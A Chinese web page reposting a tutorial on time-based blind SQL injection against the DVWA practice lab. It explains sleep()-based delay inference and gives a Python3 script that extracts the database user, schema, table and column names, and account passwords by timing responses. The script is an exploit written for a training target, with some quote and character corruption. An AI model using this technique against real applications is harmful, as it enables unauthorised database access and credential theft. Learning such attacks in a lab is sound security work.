iis服务器助手广告广告
返回顶部
首页 > 资讯 > 数据库 >SQL Injection (Blind) time 盲注入
  • 516
分享到

SQL Injection (Blind) time 盲注入

SQLInjection(Blind)time盲注入 2017-01-27 10:01:42 516人浏览 猪猪侠
摘要

SQL Injection (Blind) time 盲注入

python3编写EXP系列

sql Injection (Blind) time盲注入
1
简介
DVWA靶场这个是最基础的靶场如果想学习EXP编写这个靶场最好不过,如果能把这个靶场的利用的EXP用python3编写出来这样算是合格的exp入门选手了。
https://GitHub.com/digininja/DVWA
这个系列的第五篇内容这里会学习到如何通过时间注入,获取账号和密码。

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
2
原理
盲注的方法分布有布尔型注入 time注入昨天详细说明了布尔型注入的经过,今天讲的是time注入,也就是时间差注入,或者又叫延时注入,是利用sql语句达到延时的目的,在Mysql中用的sleep()函数,select sleep(3) 数据库延时3秒返回信息。利用这个函数加上if函数进行判断,就可以达到延时注入,最后得出要查询的数据。


将dvwa等级设置low的时候访问Http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
!](https://img-blog.csdnimg.cn/2021041415334631.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FwcGxldGVhY2hlcnM=,size_16,color_FFFFFF,t_70#pic_center)

将延时语句输入可以看到时间是大于10的而且不用理会页面是否返回不同信息。
只要有延时,就能采用延时注入的方法,注入查询内容。


3
编写exp思路
payload ="./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
首先要查询内容的长度,再遍历长度每一个字符 与 payload的字符每个进行匹配如果匹配 成功 页面延时5秒返回页面例如 要查询 selectif(length(database())=12,sleep(5),0); 如果查询的数据库长度等于12延时五秒 得到长度 再查询内容
select if(substring(database(),1,1)=‘w’,sleep(5),0);
如果正确延时五秒返回页面。如此类推 一直到最后一个。

编写代码
#coding:utf-8
import requests
import time
url=“http://www.dvwa.com/vulnerabilities/sqli_blind/?id=1”
cookies = {“PHPSESSID”:“db226n2bulhv02k6ajou1i8e87”,“security”:“low”}
user=“user()”
dbname=“database()”
tables="(select group_concat(TABLE_NAME) from infORMation_schema.TABLES where TABLE_SCHEMA=database())"
columns="(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273)"
userpass="(select concat(user,0x3a,passWord) from users limit 1)"
times=“sleep()”

def getlen(sql):
n=1
while True:
start_time =time.time()
req = requests.get(url=url + “"and if(length({})={},sleep(5),0)-- &Submit=Submit#”.format(sql,n), cookies=cookies)
space_time = time.time()-start_time
if space_time>=5:
break
n=n+1
return n

def getdata(sql):
payloads = “./@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz”
getstr = ‘’
for i in range(1,getlen(sql)+1):
for p in payloads:
start_time = time.time()
turl = url + “"and if(ascii(substring({},{},1))={},sleep(5),0)-- &Submit=Submit#”.format(sql,i,ord§)
req=requests.get(url=turl,cookies=cookies)
space_time = time.time() - start_time
print("[+] 正在执行 {} – {} [+]".format(i,p))
if space_time >= 5:
getstr+=p
print("[]正在获取数据 [] "+getstr)
break
return getstr

print("[] 当前用户 [] “+getdata(user))
print(”[] 当前库 [] “+getdata(dbname))
print(”[] 库的所有表 [] “+getdata(tables))
print(”[] user表的字段 [] “+getdata(columns))
print(”[] 账号和密码 [] "+getdata(userpass))
运行如图

SQL Injection (Blind) time盲注入

](https://img-blog.csdnimg.cn/20210414153435890.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0FwcGxldGVhY2hlcnM=,size_16,color_FFFFFF,t_70#pic_center)
————————————————
版权声明:本文为CSDN博主「网络安全苹果老师」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Appleteachers/article/details/115700227

您可能感兴趣的文档:

--结束END--

本文标题: SQL Injection (Blind) time 盲注入

本文链接: https://www.lsjlt.com/news/8238.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • DVWA-----SQL Injection(SQL手工注入)
    目录 一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection...
    99+
    2023-09-05
    sql 数据库 服务器 web安全 php
  • SQL bool盲注和时间盲注详解
    目录一、bool盲注和时间盲注常用函数二、bool盲注和时间盲注payload1、SQL注入点探测2、猜解数据库名3、猜解表名4、猜解字段名5、猜解数据今天继续给大家介绍Linux运...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • SQL注入中布尔盲注的示例讲解
    这篇文章主要介绍“SQL注入中布尔盲注的示例讲解”,在日常操作中,相信很多人在SQL注入中布尔盲注的示例讲解问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”SQL注入中布尔盲注...
    99+
    2024-04-02
  • xpath注入与盲注
    xpath注入与盲注 XPath是一种查询语言,描述如何在XML文档中查找特定元素(包括属性、处理指令等),于SQL相似,Xpath可以引用XML文档的几乎任何部分,而不受访问控制限制。 XPath盲...
    99+
    2023-09-15
    php 数据库 服务器 web安全
  • SQL盲注的类型有哪些
    SQL盲注是一种利用应用程序对SQL语句的处理不当而进行的攻击。根据攻击者能否获取到数据库返回的具体错误信息,SQL盲注可以分为两个...
    99+
    2023-08-23
    SQL
  • SQL盲注工具BBQSQL有什么用
    小编给大家分享一下SQL盲注工具BBQSQL有什么用,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL盲注工具BBQSQLSQL注入是将SQL命令插入到表单、域...
    99+
    2023-06-04
  • 理解ASP.NET Core 依赖注入(Dependency Injection)
    目录依赖注入什么是依赖注入依赖注入有什么好处ASP.NET Core内置的依赖注入服务生存周期服务释放TryAdd{Lifetime}扩展方法解析同一服务的多个不同实现Replac&...
    99+
    2024-04-02
  • SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析
    小编给大家分享一下SQL注入技巧之显注与盲注中过滤逗号绕过的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1.联合查询显...
    99+
    2024-04-02
  • MySQL之延时注入(3分钟搞懂盲注思路)
    延时(时间)注入(盲注) 任务:sqli_labs第9关,通过延时注入,获取版本号 思路 通过单引号,双引号判断字符类型,再观察是否有回显,发现没有回显,而且页面也没有其他变化,看上去似乎是静态页面。...
    99+
    2023-09-13
    mysql 数据库 延时注入 web渗透 网路安全
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • Web 应用渗透测试 01 - 命令注入(Code Injection)之 create_function
    背景 这篇文章将讨论 PHP Web 应用中 create_function 的命令注入。命令注入,究其根源,都是未对用户提供的输入做合理过滤造成的。当然,编程语言本身内置的危险方法的使用,是命令注入...
    99+
    2023-09-04
    php 数据库 开发语言
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • SQL注入进阶-order by注入
    目录 01-Order By简介 02-Order By注入场景 03-Order By注入姿势 03.1-结合union select进行盲注 03.2-结合if()进行盲注 03.3-结合if() + sleep()进行盲注 ...
    99+
    2023-08-31
    sql php
  • 简单聊一聊SQL注入及防止SQL注入
    目录SQL注入附防止sql注入的一些建议总结SQL注入 SQL注入是通过操作输入来修改事先定义好的SQL语句,对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入...
    99+
    2024-04-02
  • SQL注入基础
    引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成...
    99+
    2023-09-18
    数据库 服务器 mysql
  • SQL注入教程之报错注入
    目录SQL报错注入概述报错注入的前提条件Xpath类型函数extractvalue()updatexml()其他函数floor()、rand()、count()、group...
    99+
    2024-04-02
  • 防止SQL注入
    SQL注入是指攻击者通过在输入的数据中注入恶意的SQL代码,以获取非法访问、窃取敏感信息等操作。以下是一些防止SQL注入的方法: 使用参数化查询:使用参数化查询可以防止SQL注入攻击,参数化查询是指在执行查询时,将参数与查询语句分离,使得...
    99+
    2023-09-10
    sql 数据库 java mysql
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作